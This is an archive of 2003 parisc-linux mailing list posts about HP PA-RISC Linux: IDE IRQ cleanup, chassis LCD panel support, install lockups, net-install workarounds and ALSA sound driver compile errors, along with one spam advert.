Date: 11 Jul 2003 18:13:38 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <1057943615.20629.32.camel@dhcp22.swansea.linux.org.uk>
References: <Pine.SOL.4.30.0307111726350.7550-100000@mion.elka.pw.edu.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622585 27803 80.91.229.3 (22 Nov 2014 02:16:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:25 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 11:16:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6761482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jul 2003 11:16:23 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h6BHDgKd021009;
	Fri, 11 Jul 2003 18:13:43 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h6BHDdeF021007;
	Fri, 11 Jul 2003 18:13:39 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <Pine.SOL.4.30.0307111726350.7550-100000@mion.elka.pw.edu.pl>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18897

On Gwe, 2003-07-11 at 16:32, Bartlomiej Zolnierkiewicz wrote:
> > Erm, that seems like more work than I should be doing.  That would touch
> > 36 files, including a lot of mips/ppc ide files.  Or did you want Bart
> > to make that change?
> 
> Alan, are there any benefits of doing this?

The normal process is just to break the non x86 ports 8)

> > BTW, Bart, seems like sparc64 does _have_ the ide_default_irq() function,
> > it just returns 0.  So I think this patch shouldn't break anything.
> 
> Yes, but 0 != 14 && 0 != 15. I am just paranoid. :-)

One of the things it cleans up is the 14/15 IRQ assumption.



From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: How to enable LCD screen on K-class?
Date: Fri, 11 Jul 2003 21:39:16 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <200307112139.16654.deller@gmx.de>
References: <1057826587.3f0d271b5b81a@clients.latnet.lv> <20030710221215.GA6200@dsl2.external.hp.com> <1057906340.3f0e5ea4d6fcf@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="koi8-r"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622586 27806 80.91.229.3 (22 Nov 2014 02:16:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:26 +0000 (UTC)
To: Mihails Nikitins <nikitins@latnet.lv>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 13:38:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id E415F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jul 2003 13:38:29 -0600 (MDT)
Original-Received: (qmail 19460 invoked by uid 65534); 11 Jul 2003 19:38:18 -0000
Original-Received: from pD9040775.dip.t-dialin.net (EHLO p100) (217.4.7.117)
  by mail.gmx.net (mp010) with SMTP; 11 Jul 2003 21:38:18 +0200
User-Agent: KMail/1.5.9
In-Reply-To: <1057906340.3f0e5ea4d6fcf@clients.latnet.lv>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18898

Hi Mihails,

please take a look at the code in drivers/parisc/led.c.
There you'll find a few "workarounds" for Kittyhawk machines and
some explanation, why it maybe doesn't work.

=46rom one of the comments:
 ** KittyHawk machines have often a buggy PDC, so that
 ** we explicitly check for those machines here.

Maybe you try to change some coding there, else I'll try and continue=20
to figure out next week....

Helge


On Friday 11 July 2003 08:52, Mihails Nikitins wrote:
> > On Thu, Jul 10, 2003 at 09:23:40PM +0200, Helge Deller wrote:
> > > I think Mihails talks about the small panel LCD display on the
> > > front of the chassis,
> >
> > doh! yes, I think you are right.
> >
> > grant
>
> Yes, I tried to explain it as 'status LCD screen'. You're right, it's
> better to call it LCD panel. :-) I ask people having D, K, J classes if L=
CD
> panels should work.
>
> I see that panel normal  is being overwritten with black rectangles while
> loading Linux. I hope my question is clear now.
>
> BR,
> Mihails
>
> P.S. I don't know if you still want to see this.
>
>
>
> # cat /proc/cpuinfo
> processor       : 0
> cpu family      : PA-RISC 1.1c
> cpu             : PA7200 (PCX-T')
> cpu MHz         : 120.000000
> model           : 9000/839/K210
> model name      : KittyHawk DC3-120 (K210)
> hversion        : 0x00005810
> sversion        : 0x00000491
> I-cache         : 256 KB
> D-cache         : 258 KB (WB)
> ITLB entries    : 120
> DTLB entries    : 120 - shared with ITLB
> BTLB fixed      : max. 16384 pages, pagesize=3D4096 (64MB)
> BTLB fix-entr.  : 0 instruction, 0 data (16 combined)
> BTLB var-entr.  : 0 instruction, 0 data (0 combined)
> bogomips        : 119.60
> software id     : 1200801362
>
> processor       : 1
> cpu family      : PA-RISC 1.1c
> cpu             : PA7200 (PCX-T')
> cpu MHz         : 120.000000
> model           : 9000/839/K210
> model name      : KittyHawk DC3-120 (K210)
> hversion        : 0x00005810
> sversion        : 0x00000491
> I-cache         : 256 KB
> D-cache         : 258 KB (WB)
> ITLB entries    : 120
> DTLB entries    : 120 - shared with ITLB
> BTLB fixed      : max. 16384 pages, pagesize=3D4096 (64MB)
> BTLB fix-entr.  : 0 instruction, 0 data (16 combined)
> BTLB var-entr.  : 0 instruction, 0 data (0 combined)
> bogomips        : 119.60
> software id     : 1200801362
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Standish" <mstandish@caci.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing - creating superblock locks up
Date: Fri, 11 Jul 2003 15:01:16 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <OFBFF3F544.D370F16B-ON05256D60.006D05BF@caci.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622586 27810 80.91.229.3 (22 Nov 2014 02:16:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 14:03:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from caci.com (mailserver1.caci.com [204.194.72.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id DFFC9482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jul 2003 14:03:01 -0600 (MDT)
Original-Received: from  ([10.11.4.62])
	by mailserver1.caci.com with ESMTP ;
	Fri, 11 Jul 2003 16:01:19 -0400 (EDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18899

Hello-
I am trying to install the latest net install ISO's.

My system is labeled Apollo Series 700 but the info command gives the following
Machine model 9000/730
Hardware version 8224
Software Version 1153

On bootup I see it has
PDC rom 2.0
IODC rom 2.0
176M ram

The SCSI controller is labeled SCSI Single ended.

Looking at the machine I can see it contains a  A1659-66001 video (frame buffer).  I am assuming this is not stock as the documentation on HP's web site states nothing about it.

My machine locks up (no heartbeat) when creating superblocks for formatting the hard drives.  I have tries this on many different drives and receive the same results.

I have read the FAQ and googled the archives to death.  If anyone can point me the right direction, It would be a great help.  I have 5 of these machines.

-Matt




From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Andrews <mandrews@nomore-accents.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] - Are you learning ESL or TESL?
Date: Sat, 12 Jul 2003 01:51:43 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20030712065149.6D687482A@dsl2.external.hp.com>
Reply-To: mandrews@nomore-accents.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="7f951899-10cc-4302-a9cf-2d382fa2a6be"
X-Trace: ger.gmane.org 1416622586 27814 80.91.229.3 (22 Nov 2014 02:16:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 12 00:51:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from nomore-accents1116.com (24-136-31-90.na.21stcentury.net [24.136.31.90])
	by dsl2.external.hp.com (Postfix) with SMTP id 6D687482A
	for <parisc-linux@parisc-linux.org>; Sat, 12 Jul 2003 00:51:49 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18900

This is a multi-part message in MIME format
--7f951899-10cc-4302-a9cf-2d382fa2a6be
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Dear Reader,

No More Accent is an accent reduction product, which helps to remove accents. =
For example, an Asian lady (or any nationality) may have communication =
problems with her English when speaking to her work mates or friends.

With that in mind, No More Accent teaches Accent Reduction methodologies to =
help in this area. In fact, No More Accent can be used in almost any =
situation where an accent reduction is required. Even Actors within the =
Entertainment Industry have turned to No More Accent as a way to lose or gain =
an accent of another nationality.

No More Accent is available in two versions, CD-ROM and VHS Cassette Tape =
(PAL and NTSC formats) both can be purchased directly via the =
www.nomore-accents.com website.
If you would like further information about our products or services, please =
contact myself 
when you have a moment.

Best Wishes...

Martin Andrews
Marketing Co-ordinator

http://www.nomore-accents.com

Your #1 Resource for Accent Reduction!    
--7f951899-10cc-4302-a9cf-2d382fa2a6be--



From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Net Install errata
Date: Sat, 12 Jul 2003 01:22:35 -0600
Lines: 58
Approved: news@gmane.org
Message-ID: <20030712072235.GA13027@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622587 27817 80.91.229.3 (22 Nov 2014 02:16:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 12 01:22:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 02D7B482A; Sat, 12 Jul 2003 01:22:36 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18901

Hi all,
Another errata regarding the net install.

Since we've been advocating net installs and I like to eat my
own brand of dogfood,  I started with an A500 and the
lifimage-2.4.20-pa35-20030513 on another server which was
configured for both DHCP and apache. I could have avoided
all this by just cloning an existing A500 root disk...

kernel/modules that get installed by default are 2.4.17-64.
Makes sense since this is a woody install.  But the install
kernel in this case is "2.4.20-64".  The "Configure Device Driver
Modules" step never finds any modules because the Install
kernel doesn't care about /target/lib/modules/2.4.17-64.

My first attempt to remedy the problem was a failure:
# wget http://http.us.debian.org/debian/pool/main/k/kernel-patch-2.4.20-hppa/kernel-image-2.4.20-64_pa32.1_hppa.deb
# dpkg -i --instdir=/target kernel-image-2.4.20-64_pa32.1_hppa.deb
dpkg: not found

The solution is to find a compatible /lib/modules directory.
It doesn't have to be exactly matching, just need to be
able to run depmod and pretend you might (but won't)
load a driver module.

Easier to just build one for the a500 :^/
I found a 2.4.20 kernel build lying around.
And made it available on my local web server:
# make modules_install INSTALL_MOD_DIR=/tmp
# cd /tmp/lib/modules
# tar czf /var/www/hppa/modules-2.4.20-64.tgz 2.4.20-64/

Then on the target box:
# cd /target
# wget http://192.168.0.61/hppa/modules-2.4.20-64.tgz
# cd /target/lib/modules
# tar xzf ../../modules-2.4.20-64.tgz
# rm -rf 2.4.20-64/build
# chown -R root 2.4.20-64
# chgrp -R root 2.4.20-64

The first system I installed, "Configure Device Driver Modules"
continued to loop around on trying to install modules.
It asks if I would like to install a module but doesn't identify
which one. ^C to get out of that and on to "Installing the Base System".
But I also had pulled over the ISO and loopback mounted that.
That might have confused the installer somehow.

The second system I did this procedure on got through "Configure Device
Driver Modules" with no problems.

But don't reboot yet. The 2.4.17 woody kernel HPMC'd one a500
and hung in the scsi probe on the other. Not so useful.
Replace the /target/boot/vmlinux and System.map with working
2.4.20 or .21 kernels. Then rerun palo command and reboot.

grant


From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sound in 2.5
Date: Sat, 12 Jul 2003 09:21:54 +0200
Lines: 84
Approved: news@gmane.org
Message-ID: <3F0FB712.7060702@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622587 27819 80.91.229.3 (22 Nov 2014 02:16:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 12 01:27:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 632C1482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Jul 2003 01:27:46 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157001029.dialin.heagmedianet.de [213.157.1.29])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h6C7RbA2003975
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Jul 2003 09:27:41 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18902

Hi there!

Had anyone success compiling a kernel with sound support enabled? If  I 
enable the ALSA harmony driver, I get a lot of errors during compile:

---------------SNIP-------------

      LD      sound/isa/wavefront/built-in.o
      LD      sound/isa/built-in.o
      CC      sound/parisc/harmony.o
    sound/parisc/harmony.c:80:21: asm/gsc.h: Datei oder Verzeichnis
    nicht gefunden
    sound/parisc/harmony.c: In function `snd_card_harmony_playback_open':
    sound/parisc/harmony.c:712: structure has no member named `dma_private'
    sound/parisc/harmony.c:713: structure has no member named `dma_type'
    sound/parisc/harmony.c:713: `SNDRV_PCM_DMA_TYPE_PCI' undeclared
    (first use in this function)
    sound/parisc/harmony.c:713: (Each undeclared identifier is reported
    only once
    sound/parisc/harmony.c:713: for each function it appears in.)
    sound/parisc/harmony.c: In function `snd_card_harmony_capture_open':
    sound/parisc/harmony.c:736: structure has no member named `dma_private'
    sound/parisc/harmony.c:737: structure has no member named `dma_type'
    sound/parisc/harmony.c:737: `SNDRV_PCM_DMA_TYPE_PCI' undeclared
    (first use in this function)
    sound/parisc/harmony.c: In function `snd_card_harmony_hw_params':
    sound/parisc/harmony.c:784: warning: unused variable `runtime'
    sound/parisc/harmony.c: In function `snd_card_harmony_pcm_init':
    sound/parisc/harmony.c:827: warning: implicit declaration of
    function `request_irq'
    sound/parisc/harmony.c: In function `snd_card_harmony_create':
    sound/parisc/harmony.c:1004: dereferencing pointer to incomplete type
    sound/parisc/harmony.c:1007: dereferencing pointer to incomplete type
    sound/parisc/harmony.c:1022: dereferencing pointer to incomplete type
    sound/parisc/harmony.c:1033: warning: implicit declaration of
    function `ccio_get_fake'
    sound/parisc/harmony.c:1033: warning: assignment makes pointer from
    integer without a cast
    sound/parisc/harmony.c: In function `snd_card_harmony_probe':
    sound/parisc/harmony.c:1079: dereferencing pointer to incomplete type
    sound/parisc/harmony.c: At top level:
    sound/parisc/harmony.c:1109: variable `snd_card_harmony_driver' has
    initializer but incomplete type
    sound/parisc/harmony.c:1110: unknown field `name' specified in
    initializer
    sound/parisc/harmony.c:1110: warning: excess elements in struct
    initializer
    sound/parisc/harmony.c:1110: warning: (near initialization for
    `snd_card_harmony_driver')
    sound/parisc/harmony.c:1111: unknown field `id_table' specified in
    initializer
    sound/parisc/harmony.c:1111: warning: excess elements in struct
    initializer
    sound/parisc/harmony.c:1111: warning: (near initialization for
    `snd_card_harmony_driver')
    sound/parisc/harmony.c:1112: unknown field `probe' specified in
    initializer
    sound/parisc/harmony.c:1112: warning: excess elements in struct
    initializer
    sound/parisc/harmony.c:1112: warning: (near initialization for
    `snd_card_harmony_driver')
    sound/parisc/harmony.c: In function `alsa_card_harmony_exit':
    sound/parisc/harmony.c:1139: warning: implicit declaration of
    function `free_irq'
    sound/parisc/harmony.c: At top level:
    sound/parisc/harmony.c:1109: storage size of
    `snd_card_harmony_driver' isn't known
    include/sound/initval.h:140: warning: `get_id' defined but not used
    make[2]: *** [sound/parisc/harmony.o] Fehler 1
    make[1]: *** [sound/parisc] Fehler 2
    make: *** [sound] Fehler 2
    ruediger@gandalf:/usr/src/linux-2.5$

---------------SNAP-------------

The compiler didn't find the file "asm/gsc.h" (first error message: 
"Datei oder Verzeichnis nicht gefunden"). But if I put there the right 
path to gsc.h it won't compile either.
Any hints to make some noise with a 2.5-kernel?
   
    Rdiger




From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan Sporbeck <jan@sporbeck-family.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Chassis LCD on D200 supported?
Date: Sat, 12 Jul 2003 13:59:35 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <3F0FF827.10107@sporbeck-family.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622587 27821 80.91.229.3 (22 Nov 2014 02:16:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 12 05:58:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.sporbeck-family.de (pD9E1DC06.dip.t-dialin.net [217.225.220.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0788482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Jul 2003 05:58:04 -0600 (MDT)
Original-Received: from [192.168.100.101] (helo=sporbeck-family.de)
	by mailhost.sporbeck-family.de with esmtp (Exim 4.14)
	id 19bJ2s-0000Pk-B8
	for parisc-linux@lists.parisc-linux.org; Sat, 12 Jul 2003 14:00:06 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02
X-Accept-Language: en-us, en
X-Spam-Score: -0.1 (/)
X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19bJ2s-0000Pk-B8*nmCuolRnJ06*
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18903

Hello,

I am just wondering if the chassis lcd is supported on 9000/801/D200.

I compiled  2.4.21-pa2 with CONFIG_CHASSIS_LCD_LED=y but still I only 
get the /proc/pdc/led node.
did I get that right, that there should a lcd node showing up when an 
lcd is detected?

the start-up log only states

LED display at f010c000 registered

this is my first hp9000, so I appreciate any hints


/jan.



From - Thu Nov 08 21:28:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound in 2.5
Date: Sat, 12 Jul 2003 14:34:18 +0200
Organization: ESIEE
Lines: 77
Approved: news@gmane.org
Message-ID: <20030712143418.37631a6c.varenet@esiee.fr>
References: <3F0FB712.7060702@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622588 27825 80.91.229.3 (22 Nov 2014 02:16:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 12 06:34:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d108.dhcp212-198-139.noos.fr [212.198.139.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id A6121482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Jul 2003 06:34:24 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h6CCYIrQ012913;
	Sat, 12 Jul 2003 14:34:19 +0200
In-Reply-To: <3F0FB712.7060702@hrzpub.tu-darmstadt.de>
X-Mailer: Sylpheed version 0.9.0claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
